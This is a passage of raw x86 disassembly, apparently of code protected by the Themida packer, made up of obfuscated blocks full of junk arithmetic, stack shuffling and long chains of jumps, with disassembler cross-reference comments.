loc_59CECC:				; CODE XREF: Themida_:005A294Bj
		push	5EECh
		mov	[esp], eax
		jmp	loc_5AD674
; ---------------------------------------------------------------------------


loc_59CED9:				; CODE XREF: Themida_:0059AD53j
					; Themida_:005A97FAj
		sub	ebx, eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A0C03
; ---------------------------------------------------------------------------


loc_59CEEF:				; CODE XREF: Themida_:0059F0EAj
		sub	bh, ch
		push	dword ptr [esp]
		jmp	loc_5988F1
; ---------------------------------------------------------------------------


loc_59CEF9:				; CODE XREF: Themida_:005ABA04j
		pop	ecx
		jmp	loc_5A3531
; ---------------------------------------------------------------------------


loc_59CEFF:				; CODE XREF: Themida_:005AEE76j
		pop	edx
		add	cl, 43h
		add	cl, 6
		jmp	loc_5A0C28
; ---------------------------------------------------------------------------


loc_59CF0B:				; CODE XREF: Themida_:005ABBEDj
		jmp	loc_5ADC74
; ---------------------------------------------------------------------------


loc_59CF10:				; CODE XREF: Themida_:005AD075j
		add	edi, 49F00616h
		pop	ebx
		sub	esp, 4
		jmp	loc_5AE057
; ---------------------------------------------------------------------------


loc_59CF22:				; CODE XREF: Themida_:005A1B10j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edi
		push	esi
		mov	esi, 1B590C76h
		mov	edi, 1B590C7Ah
		sub	edi, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5AF21F
; ---------------------------------------------------------------------------


loc_59CF68:				; CODE XREF: Themida_:005A9A97j
		push	edi
		mov	edi, esp
		jmp	loc_5AAE24
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 56554945h
		jmp	loc_5A14A5
; ---------------------------------------------------------------------------


loc_59CF81:				; CODE XREF: Themida_:005AE165j
		add	ebx, 583F9CBFh
		jmp	loc_5AB2BA
; ---------------------------------------------------------------------------


loc_59CF8C:				; CODE XREF: Themida_:005AC788j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AC209
; ---------------------------------------------------------------------------


loc_59CF9A:				; CODE XREF: Themida_:005A1DDCj
		pop	ecx
		sub	al, 0C0h
		push	edx
		mov	dl, 0F5h
		sub	al, dl
		pop	edx
		sub	al, 9
		add	al, dl
		add	al, 9
		add	al, 0F5h
		push	ebx
		mov	bl, 0C0h
		add	al, bl
		mov	ebx, [esp]
		add	esp, 4
		mov	dx, [esp]
		add	esp, 2
		push	bx
		mov	bh, 0A9h
		inc	bh
		add	bh, 3Bh
		jmp	loc_5AC8A9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59CFDE:				; CODE XREF: Themida_:005AC7F6j
		add	esi, edi
		sub	esi, 25AE10B4h
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A1E3C
; ---------------------------------------------------------------------------


loc_59CFF8:				; CODE XREF: Themida_:005A8EFCj
		pop	eax
		neg	edi
		jmp	loc_599EDB
; ---------------------------------------------------------------------------


loc_59D000:				; CODE XREF: Themida_:0059F90Aj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5A38BF
; ---------------------------------------------------------------------------


loc_59D008:				; CODE XREF: Themida_:005A16E4j
		mov	ebp, 35737AA9h
		or	ebp, 28E64716h
		push	esi
		mov	esi, 47C95439h
		push	edx
		mov	edx, 674C0235h
		sub	esi, edx
		jmp	loc_5A4610
; ---------------------------------------------------------------------------


loc_59D026:				; CODE XREF: Themida_:005ABD0Cj
		pop	esp
		push	3A11h
		jmp	loc_59C752
; ---------------------------------------------------------------------------
		push	0B96h
		jmp	loc_59F7F5
; ---------------------------------------------------------------------------


loc_59D03B:				; CODE XREF: Themida_:005A3A0Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59D040:				; CODE XREF: Themida_:005ACBF7j
		sub	edx, esi
		pop	esi
		sub	edx, 15DA35D2h
		add	edx, edi
		jmp	loc_5A6055
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2384h
		jmp	loc_5A2727
; ---------------------------------------------------------------------------


loc_59D05E:				; CODE XREF: Themida_:00599A2Bj
		mov	[esp], ebx
		push	edi
		mov	edi, 0CA95E82h
		push	65A8h
		mov	[esp], edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		inc	ebx
		js	loc_5A16E9
		add	ebx, 40DD013Dh
		jns	loc_5A3AEE
		not	ebx
		xor	ebx, 87C32A4h
		jmp	loc_59DDDF
; ---------------------------------------------------------------------------


loc_59D096:				; CODE XREF: Themida_:005A0C23j
		pop	edi
		neg	edi
		not	edi
		neg	edi
		inc	edi
		push	edx
		push	ebp
		mov	ebp, 2F805AA9h
		jmp	loc_5A15A2
; ---------------------------------------------------------------------------


loc_59D0AA:				; CODE XREF: Themida_:005ABAAFj
		add	cl, 0A4h
		jge	loc_59A001
		add	cl, 2Dh
		mov	dh, cl
		pop	ecx
		add	dh, 5
		jmp	loc_5A6040
; ---------------------------------------------------------------------------


loc_59D0C1:				; CODE XREF: Themida_:005A68F3j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59D0C6:				; CODE XREF: Themida_:0059EC7Ej
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	1A01h
		mov	[esp], esi
		push	ecx
		push	4F2A7EDFh
		pop	ecx
		not	ecx
		jmp	loc_5A763E
; ---------------------------------------------------------------------------


loc_59D0EC:				; CODE XREF: Themida_:005A1337j
		add	esi, 6E9C0282h
		add	esi, 64F37A4h
		add	esi, eax
		sub	esi, 64F37A4h
		sub	esi, 6E9C0282h
		push	73D7h
		jmp	loc_5AC354
; ---------------------------------------------------------------------------


loc_59D110:				; CODE XREF: Themida_:005A9B57j
		sub	edx, 2CB11D3Bh
		jmp	loc_5AB20C
; ---------------------------------------------------------------------------


loc_59D11B:				; CODE XREF: Themida_:0059B710j
					; Themida_:0059B88Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A08BE
; ---------------------------------------------------------------------------


loc_59D12C:				; CODE XREF: Themida_:0059DA8Aj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	0BDFh
		mov	[esp], ebx
		mov	ebx, 5F3C533Ch
		xor	ecx, ebx
		jmp	loc_59C783
; ---------------------------------------------------------------------------


loc_59D147:				; CODE XREF: Themida_:005A6ADFj
		sub	edx, esi
		pop	esi
		pop	ebp
		jmp	loc_5A4456
; ---------------------------------------------------------------------------


loc_59D150:				; CODE XREF: Themida_:0059E748j
		mov	ah, bh
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59E758
; ---------------------------------------------------------------------------


loc_59D15C:				; CODE XREF: Themida_:0059BEB4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_5A0215
; ---------------------------------------------------------------------------


loc_59D16C:				; CODE XREF: Themida_:005AF49Dj
		dec	ah
		jg	loc_5A1076
		jmp	loc_598FB7
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, 38616C74h
		push	eax


loc_59D180:				; CODE XREF: Themida_:005A789Dj
		add	esp, 4
		xor	ecx, 30982E63h
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	ebx
		push	7ACBh
		mov	[esp], ebp
		push	edi
		mov	edi, 6C072A76h
		mov	ebp, 6C072A7Ah
		push	eax
		push	ebx
		mov	ebx, 7F844E17h
		push	eax
		mov	eax, 742A0C2Dh
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A85AF
; ---------------------------------------------------------------------------


loc_59D1D8:				; CODE XREF: Themida_:005A48E8j
					; Themida_:005AE40Bj
		and	eax, 5900011Ch
		xor	eax, 5906677Ch
		add	edx, 64DD6B49h
		add	edx, eax
		sub	edx, 64DD6B49h
		pop	eax
		add	edx, ebx
		push	12EDh
		mov	[esp], ebp
		mov	ebp, 1806677Ch
		add	edx, 445A7CE5h
		sub	edx, ebp
		sub	edx, 445A7CE5h
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_5A252F
; ---------------------------------------------------------------------------


loc_59D233:				; CODE XREF: Themida_:005AD519j
		add	ah, 35h
		push	dx
		mov	dh, 0E0h
		add	ah, dh
		pop	dx
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		sub	ah, ch
		pop	cx
		xor	bl, ah
		pop	eax
		neg	bl
		jmp	loc_59FA2D
; ---------------------------------------------------------------------------


loc_59D254:				; CODE XREF: Themida_:005AA949j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_5A04F1
; ---------------------------------------------------------------------------


loc_59D261:				; CODE XREF: Themida_:005A6F6Ej
		push	edi
		push	eax
		mov	eax, 7B0E3718h
		neg	eax
		jmp	loc_5A54AD
; ---------------------------------------------------------------------------


loc_59D26F:				; CODE XREF: Themida_:005A0914j
		xor	ebx, 9C84D652h
		mov	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5AE5C6
; ---------------------------------------------------------------------------


loc_59D27F:				; CODE XREF: Themida_:005A8EC7j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_59AC85
; ---------------------------------------------------------------------------


loc_59D293:				; CODE XREF: Themida_:005A846Dj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59DA25
; ---------------------------------------------------------------------------


loc_59D29C:				; CODE XREF: Themida_:0059ECF7j
		xor	edi, eax
		jmp	loc_5A02CC
; ---------------------------------------------------------------------------


loc_59D2A3:				; CODE XREF: Themida_:0059AD30j
		sub	dword ptr [esp+4], 55F663FAh
		sub	dword ptr [esp+4], 2AAD4243h
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A2B86
; ---------------------------------------------------------------------------


loc_59D2C8:				; CODE XREF: Themida_:005A9677j
		jmp	loc_59D561
; ---------------------------------------------------------------------------


loc_59D2CD:				; CODE XREF: Themida_:0059EACCj
		and	dl, 0A8h
		sub	dl, 0D6h
		shr	dl, 7
		jmp	loc_5A0930
; ---------------------------------------------------------------------------


loc_59D2DB:				; CODE XREF: Themida_:0059D367j
		pop	esi
		dec	esi
		add	esi, 10290232h
		mov	ebx, esi
		jmp	loc_5A8C78
; ---------------------------------------------------------------------------


loc_59D2EA:				; CODE XREF: Themida_:0059ABBFj
		mov	ecx, 75953CAh
		xor	ecx, 401E7270h
		and	ecx, 4B481CB0h
		and	ecx, 43EC3AC4h
		jmp	loc_5A5AD1
; ---------------------------------------------------------------------------


loc_59D306:				; CODE XREF: Themida_:loc_5A05F4j
		or	ebx, 0EE9230Ch
		jmp	loc_59E74D
; ---------------------------------------------------------------------------


loc_59D311:				; CODE XREF: Themida_:005A3CCCj
		sub	al, 58h
		sub	al, bh
		add	al, 58h
		jmp	loc_5ABEB3
; ---------------------------------------------------------------------------


loc_59D31C:				; CODE XREF: Themida_:005A6B92j
		xor	edx, 0EEB1C9E9h
		jmp	loc_5AE5F6
; ---------------------------------------------------------------------------


loc_59D327:				; CODE XREF: Themida_:005A5D1Aj
					; Themida_:005A9F47j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59C3D3
; ---------------------------------------------------------------------------


loc_59D34B:				; CODE XREF: Themida_:0059AF9Dj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A0D4E
; ---------------------------------------------------------------------------


loc_59D359:				; CODE XREF: Themida_:005AE109j
		push	7E95h
		mov	[esp], ebx
		push	esi
		push	3DE65E0Bh
		jmp	loc_59D2DB
; ---------------------------------------------------------------------------


loc_59D36C:				; CODE XREF: Themida_:loc_59F1BEj
					; Themida_:005AC035j
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		mov	dh, cl
		push	dword ptr [esp]
		jmp	loc_5A3526
; ---------------------------------------------------------------------------


loc_59D37C:				; CODE XREF: Themida_:005A3E9Aj
		mov	ebx, 0F62639Ah
		xor	ebx, 6D31449Ch
		jmp	loc_59ACE7
; ---------------------------------------------------------------------------


loc_59D38C:				; CODE XREF: Themida_:005A135Dj
		xor	ebp, 7C162636h
		jmp	loc_5A804B
; ---------------------------------------------------------------------------


loc_59D397:				; CODE XREF: Themida_:005AD433j
		mov	[esp], edx
		jmp	loc_5AD4F7
; ---------------------------------------------------------------------------


loc_59D39F:				; CODE XREF: Themida_:00599DCDj
		add	bh, 0F2h
		mov	al, bh
		jmp	loc_5A433C
; ---------------------------------------------------------------------------


loc_59D3A9:				; CODE XREF: Themida_:005A698Ej
		xor	ebx, edx
		not	edx
		xchg	edx, ebx
		push	ebx
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	ebx
		add	ebx, 0B6D2A85h
		xor	ebx, 53DE6CF6h
		add	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AB40B
; ---------------------------------------------------------------------------


loc_59D3DB:				; CODE XREF: Themida_:005AA825j
		push	442Ch
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5A8B72
; ---------------------------------------------------------------------------


loc_59D3EE:				; CODE XREF: Themida_:005A360Aj
					; Themida_:005A6977j
		or	ebx, ebx
		jnz	loc_59BD83
		push	410Ah
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A11C0
; ---------------------------------------------------------------------------


loc_59D416:				; CODE XREF: Themida_:00599252j
					; Themida_:005A7279j
		push	ecx
		mov	cl, 10h
		and	cl, 0B1h
		xor	cl, 32h
		and	cl, 29h
		dec	cl
		push	eax
		mov	ah, 0E3h
		add	ah, 81h
		xor	ah, 0Ch
		jmp	loc_5A9D57
; ---------------------------------------------------------------------------


loc_59D432:				; CODE XREF: Themida_:005A1175j
		push	eax
		mov	eax, 17738B9h
		and	eax, 69639A5h
		jo	loc_5AD5FF
		sub	eax, 291730EDh
		jmp	loc_5A880A
; ---------------------------------------------------------------------------


loc_59D44D:				; CODE XREF: Themida_:0059B7D7j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59D452:				; CODE XREF: Themida_:005A8577j
		mov	ecx, 32F56C7Eh
		xor	ecx, 6C236CC0h
		jmp	loc_598F03
; ---------------------------------------------------------------------------


loc_59D462:				; CODE XREF: Themida_:005A80E2j
		add	ebx, 2EDC52ECh
		jmp	loc_59B4BA
; ---------------------------------------------------------------------------


loc_59D46D:				; CODE XREF: Themida_:0059E48Ej
		mov	ebx, 77834727h
		inc	ebx
		jmp	loc_5AC7FB
; ---------------------------------------------------------------------------


loc_59D478:				; CODE XREF: Themida_:005A5EC8j
		push	6EB6h
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 2EBF6C2Fh
		jmp	loc_5A0A43
; ---------------------------------------------------------------------------


loc_59D48D:				; CODE XREF: Themida_:00598CE8j
		push	edx
		push	4
		pop	edx
		add	eax, 6CB07969h
		add	eax, edx
		sub	eax, 6CB07969h
		pop	edx
		push	edx
		jmp	loc_598BF6
; ---------------------------------------------------------------------------


loc_59D4A7:				; CODE XREF: Themida_:005A41A6j
		push	ebp
		mov	ebp, 66CB61F3h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, eax
		push	ecx
		jmp	loc_59B2D3
; ---------------------------------------------------------------------------


loc_59D4BD:				; CODE XREF: Themida_:005AA907j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59D4CC:				; CODE XREF: Themida_:005AB14Dj
		sub	[edi+24h], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		jmp	loc_5AEF6A
; ---------------------------------------------------------------------------


loc_59D4DB:				; CODE XREF: Themida_:005A8FC6j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5A7B2B
; ---------------------------------------------------------------------------


loc_59D4F8:				; CODE XREF: Themida_:005A3B20j
		push	edx
		jmp	loc_59F1E6
; ---------------------------------------------------------------------------


loc_59D4FE:				; CODE XREF: Themida_:0059A84Bj
		jmp	loc_5ADBDD
; ---------------------------------------------------------------------------


loc_59D503:				; CODE XREF: Themida_:005991F9j
		add	dword ptr [esp+4], 2AB55C1h
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		push	5A43h
		mov	[esp], edi
		push	ebp
		jmp	loc_59E137
; ---------------------------------------------------------------------------


loc_59D520:				; CODE XREF: Themida_:005A8CB3j
		mov	cx, [esp]
		jmp	loc_59EE39
; ---------------------------------------------------------------------------


loc_59D529:				; CODE XREF: Themida_:005A4EABj
		mov	[esp], eax
		jmp	loc_5A5FBB
; ---------------------------------------------------------------------------


loc_59D531:				; CODE XREF: Themida_:005A8C1Aj
		shr	ebp, 6
		dec	ebp
		jmp	loc_5AB0A9
; ---------------------------------------------------------------------------


loc_59D53A:				; CODE XREF: Themida_:005A3ED9j
		shl	edi, 4
		jmp	loc_5AC305
; ---------------------------------------------------------------------------


loc_59D542:				; CODE XREF: Themida_:loc_5A3E36j
		xor	esi, 74BC05C0h
		xor	esi, 30F8FC01h
		jmp	loc_5A68AF
; ---------------------------------------------------------------------------


loc_59D553:				; CODE XREF: Themida_:005A7B89j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5AAB7F
; ---------------------------------------------------------------------------


loc_59D561:				; CODE XREF: Themida_:loc_59D2C8j
					; Themida_:0059D770j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3246578Eh
		add	edi, 1
		not	edi
		inc	edi
		jmp	loc_5A3142
; ---------------------------------------------------------------------------


loc_59D586:				; CODE XREF: Themida_:loc_59F1B9j
		push	ecx
		mov	ecx, 44A657D8h
		xor	ebx, ecx
		pop	ecx
		and	ebx, 26AE27D9h
		jmp	loc_5AA078
; ---------------------------------------------------------------------------


loc_59D59A:				; CODE XREF: Themida_:005AD0C3j
		push	edx
		mov	edx, 35DAECC9h
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A331E
; ---------------------------------------------------------------------------


loc_59D5AE:				; CODE XREF: Themida_:005AA48Cj
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_5ADE63
; ---------------------------------------------------------------------------


loc_59D5B8:				; CODE XREF: Themida_:005A15C4j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		push	204C7EC5h
		pop	ebp
		shl	ebp, 2
		neg	ebp
		jp	loc_5A3626
		xor	ebp, 7ECE04FCh
		mov	ecx, ebp
		mov	ebp, [esp]
		push	5884h
		jmp	loc_59C681
; ---------------------------------------------------------------------------


loc_59D5E7:				; CODE XREF: Themida_:005A8140j
		push	44F2h
		mov	[esp], edx
		mov	edx, 77862CEEh
		sub	edx, 4C1F764Ch
		jmp	loc_5AD538
; ---------------------------------------------------------------------------


loc_59D5FF:				; CODE XREF: Themida_:005A0A93j
		xor	dword ptr [esp], 32F41360h
		pop	ecx
		push	ebx
		jmp	loc_5AE7BA
; ---------------------------------------------------------------------------


loc_59D60D:				; CODE XREF: Themida_:0059FD4Ej
		xchg	ecx, [esp]
		jmp	loc_59B836
; ---------------------------------------------------------------------------


loc_59D615:				; CODE XREF: Themida_:0059B958j
		btr	[esp], ax
		pushf
		jmp	loc_5AB270
; ---------------------------------------------------------------------------


loc_59D620:				; CODE XREF: Themida_:005AA424j
		pop	ebx
		add	esp, 4
		sub	esi, 4FFA0659h
		add	esi, ebp
		add	esi, 4FFA0659h
		add	esi, 0BAB2AE1h
		jmp	loc_5AE200
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5A07A9
; ---------------------------------------------------------------------------


loc_59D64F:				; CODE XREF: Themida_:005A1EFAj
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5AE0BD
; ---------------------------------------------------------------------------


loc_59D66A:				; CODE XREF: Themida_:005ABBBAj
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 0DF4EF206h
		add	ebp, 4E431F80h
		add	ebp, ecx
		sub	ebp, 4E431F80h
		jmp	loc_59B0C3
; ---------------------------------------------------------------------------


loc_59D68C:				; CODE XREF: Themida_:0059EC11j
		xor	edi, 57C37200h
		sub	esi, 6233077Bh
		add	esi, edi
		push	edx
		jmp	loc_5A6BE5
; ---------------------------------------------------------------------------


loc_59D6A0:				; CODE XREF: Themida_:005AB54Bj
		mov	[esp], ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	ebp, [esp]
		push	dword ptr [esp]
		jmp	loc_59CE76
; ---------------------------------------------------------------------------


loc_59D6BB:				; CODE XREF: Themida_:0059A4E9j
		neg	di
		add	di, 5405h
		sub	si, di
		pop	edi
		xor	bp, si
		pop	esi
		and	di, bp
		pop	ebp
		add	di, 37A4h
		xor	di, 1FD3h
		sub	cx, 30EDh
		add	cx, 6181h
		add	cx, di
		sub	cx, 6181h
		add	cx, 30EDh
		pop	edi
		xor	ax, cx
		pop	ecx
		xor	bx, ax
		movzx	eax, ax
		push	5E40h
		mov	[esp], edx
		push	2701h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		jmp	loc_59DA9A
; ---------------------------------------------------------------------------


loc_59D716:				; CODE XREF: Themida_:00599091j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59ACF8
; ---------------------------------------------------------------------------


loc_59D73A:				; CODE XREF: Themida_:005AF492j
		pop	esp
		jmp	loc_59B17A
; ---------------------------------------------------------------------------


loc_59D740:				; CODE XREF: Themida_:0059EF2Dj
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A5EAE
; ---------------------------------------------------------------------------


loc_59D74C:				; CODE XREF: Themida_:005A623Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5A7682
; ---------------------------------------------------------------------------


loc_59D75C:				; CODE XREF: Themida_:0059FE31j
		inc	esi
		push	ebp
		jmp	loc_59A689
; ---------------------------------------------------------------------------


loc_59D763:				; CODE XREF: Themida_:005A629Ej
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_59D561
; ---------------------------------------------------------------------------


loc_59D775:				; CODE XREF: Themida_:0059E010j
		push	dword ptr [esp]
		jmp	loc_5AD56F
; ---------------------------------------------------------------------------


loc_59D77D:				; CODE XREF: Themida_:0059C92Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A54A4
; ---------------------------------------------------------------------------


loc_59D78D:				; CODE XREF: Themida_:005A4CEAj
		neg	ebp
		add	ebp, 48A56DFCh
		mov	edi, ebp
		pop	ebp
		jmp	loc_5A4911
; ---------------------------------------------------------------------------


loc_59D79D:				; CODE XREF: Themida_:0059C038j
		mov	edi, 4EB04342h
		jmp	loc_5AF205
; ---------------------------------------------------------------------------


loc_59D7A7:				; CODE XREF: Themida_:005A70E9j
		sub	dl, 22h
		jmp	loc_5A2C40
; ---------------------------------------------------------------------------


loc_59D7AF:				; CODE XREF: Themida_:005A7E7Bj
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59DC19
; ---------------------------------------------------------------------------


loc_59D7D7:				; CODE XREF: Themida_:005A0568j
		mov	[esp], esi
		push	49A2h
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_5A9016
; ---------------------------------------------------------------------------


loc_59D7F2:				; CODE XREF: Themida_:005AED96j
		sub	bh, 0BDh
		mov	cl, bh
		pop	ebx
		jmp	loc_5A0C82
; ---------------------------------------------------------------------------


loc_59D7FD:				; CODE XREF: Themida_:005AD2A4j
		xor	cl, 0C4h
		add	bl, cl
		pop	ecx
		sub	bl, 0A7h
		add	bl, 0C5h
		jmp	loc_5A873E
; ---------------------------------------------------------------------------


loc_59D80E:				; CODE XREF: Themida_:005AAE4Cj
		add	dl, 5
		mov	ch, dl
		jmp	loc_5AB49A
; ---------------------------------------------------------------------------


loc_59D818:				; CODE XREF: Themida_:005AD0F8j
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A5302
; ---------------------------------------------------------------------------


loc_59D82A:				; CODE XREF: Themida_:005A1C92j
		pop	ebx
		add	ebx, 16766F87h
		sub	ebx, esi
		sub	ebx, 16766F87h
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5AEFBC
; ---------------------------------------------------------------------------


loc_59D84E:				; CODE XREF: Themida_:005A8267j
		add	ebx, edi
		pop	edi
		push	71D7h
		mov	[esp], ecx
		push	ebx
		jmp	loc_59E9E9
; ---------------------------------------------------------------------------


loc_59D85F:				; CODE XREF: Themida_:005A54D8j
		push	esi
		mov	esi, 5CDD195Fh
		mov	ebp, 6E9C7F6Dh
		sub	ebp, esi
		jmp	loc_5A88DC
; ---------------------------------------------------------------------------


loc_59D871:				; CODE XREF: Themida_:005AC9CEj
		add	ebx, 8C8BD398h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A537B
; ---------------------------------------------------------------------------


loc_59D887:				; CODE XREF: Themida_:005A0045j
		neg	edi
		jmp	loc_5ABAB4
; ---------------------------------------------------------------------------


loc_59D88E:				; CODE XREF: Themida_:005A8AE7j
		jmp	loc_5AD15F
; ---------------------------------------------------------------------------


loc_59D893:				; CODE XREF: Themida_:005A3985j
		mov	esi, esp
		push	ecx
		push	4
		pop	ecx
		sub	esi, 72A9718Ch
		add	esi, ecx
		push	edx
		mov	edx, 72A9718Ch
		jmp	loc_5A2E3F
; ---------------------------------------------------------------------------


loc_59D8AF:				; CODE XREF: Themida_:0059DC9Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	ecx, ecx
		jz	loc_5A0562
		push	61B9h
		push	810h
		jmp	loc_5AF4C9
; ---------------------------------------------------------------------------


loc_59D8DD:				; CODE XREF: Themida_:0059E916j
					; Themida_:005A4380j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5AD784
; ---------------------------------------------------------------------------


loc_59D8F3:				; CODE XREF: Themida_:005AC67Dj
		sub	ecx, 0D4623DDDh
		or	ecx, 3326565Ah
		jmp	loc_59B252
; ---------------------------------------------------------------------------


loc_59D904:				; CODE XREF: Themida_:005996ACj
		xor	eax, ecx
		pop	ecx
		shl	eax, 4
		shl	eax, 5
		push	edx
		push	ebp
		mov	ebp, 34141204h
		jmp	loc_5A587B
; ---------------------------------------------------------------------------


loc_59D919:				; CODE XREF: Themida_:0059E7EAj
		mov	ebx, [esp]
		jmp	loc_5A1135
; ---------------------------------------------------------------------------


loc_59D921:				; CODE XREF: Themida_:0059B5E8j
		add	edi, 122D5E05h
		jmp	loc_5A6A25
; ---------------------------------------------------------------------------


loc_59D92C:				; CODE XREF: Themida_:0059DD83j
		mov	ebp, 6FA40152h
		sub	edx, 36372CA2h
		add	edx, ebp
		add	edx, 36372CA2h
		pop	ebp
		sub	edx, eax
		jmp	loc_5A3A26
; ---------------------------------------------------------------------------


loc_59D947:				; CODE XREF: Themida_:005A2E01j
		push	1B40h
		mov	[esp], edx
		mov	edx, 16C256D0h
		or	edx, 2E6F6006h
		jmp	loc_5A7B7C
; ---------------------------------------------------------------------------


loc_59D95F:				; CODE XREF: Themida_:005AB038j
		add	dword ptr [eax], 1
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A84A2
; ---------------------------------------------------------------------------


loc_59D970:				; CODE XREF: Themida_:0059BA00j
		push	13E13248h
		jmp	loc_5A2219
; ---------------------------------------------------------------------------


loc_59D97A:				; CODE XREF: Themida_:005ACB69j
		add	edx, 684E71BFh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AC961
; ---------------------------------------------------------------------------


loc_59D98B:				; CODE XREF: Themida_:0059F11Fj
					; Themida_:005A0868j
		pop	edi
		add	esp, 4
